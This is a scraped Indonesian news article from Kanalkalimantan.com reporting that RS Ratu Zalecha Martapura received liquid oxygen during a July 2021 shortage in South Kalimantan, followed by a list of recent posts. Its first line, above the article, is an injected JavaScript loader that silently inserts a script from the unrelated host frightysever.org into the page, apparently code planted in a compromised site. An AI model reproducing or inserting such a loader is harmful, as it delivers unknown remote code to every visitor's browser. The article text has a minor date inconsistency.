(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

KABAR BAIK. RS Ratu Zalecha Martapura Sudah Terima Suplai Oksigen 4.667 M3


KANALKALIMANTAN.COM, MARTAPURA – Krisis oksigen di sejumlah rumah sakit beberapa hari terakhir, akhirnya teratasi dengan datangnya 56 ton oksigen cair di Pelabuhan Petikemas Trisakti, Minggu (25/7/2021) malam.

RS Ratu Zalecha Martapura, yang sebelumnya krisis oksigen mengaku sudah mendapatkan pasokan yang didatangkan Pemprov Kalsel tersebut.

Oky Supriady, Kasubag Hukum, Data, dan Kehumasan RSUD Ratu Zalecha kepada Kanalkalimantan.com mengatakan, suplai oksigen sudah diterima Senin dini hari tadi.

“Iya, sudah sampai tadi malam untuk gas liquid oksigen. Sekitar pukul 00.30 Wita tadi,” ujar, Senin (16/7/2021).

 

 

Baca juga: PPKM Level 4 Berlaku di Banjarbaru-Banjarmasin, 11 Daerah Masuk ‘Daftar Hitam’ PPKM Level 3

Oky mengatakan, oksigen cair yang diterima RS Ratu Zalecha sebanyak 4.667 m3.

Sehari sebelumnya, RS Ratu Zalecha Martapura yang mengatakan sementara tidak menerima pasien rawat inap baru yang memerlukan oksigen. Hal tersebut sebagaimana pengumuman yang disampaikan di media sosial.

Sebantara itu, sebanyak 56 ton liquid oksigen didatangkan dari Surabaya di Pelabuhan Trisakti Banjarmasin. Pj Gubernur Kalsel Safrizal yang memantau kedatangan oksigen tersebut mengatakan, akan langsung mendistribusikan ke rumah sakit.

“Malam ini (kemarin) turun 56 ton, biasanya cukup untuk satu Minggu, tapi dengan kebutuhan oksigen yang banyak kini bisa untuk dua atau tiga hari. Saat ini juga masih menunggu kiriman dari Bontang Kaltim, dan produsen oksigen di Kalsel yang bisa memproduksi hingga 600 tabung dalam 24 jam,” terang Safrizal.

Baca juga: BREAKING NEWS. Lagi, Pendulang Intan Dikabarkan Tertimbun Galian di Cempaka

Demi Kalsel kembali mendapatkan pasokan oksigen, ia mengatakan tiga iso tank yang turun dari kapal ia minta agar langsung dikosongkan dengan diisi langsung ke tabung kecil maupun tempat penyimpanan.

“Saya minta jangan disimpan sehingga besok sudah bisa sampai ke Surabaya kembali, jadi bisa diisi dibawa kembali ke Kalsel,” katanya.(Kanalkalimantan.com/nurul)

Reporter: nurul
Editor: cell


Risa

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

51 menit ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

11 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

14 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

20 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

20 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

23 jam ago

This website uses cookies.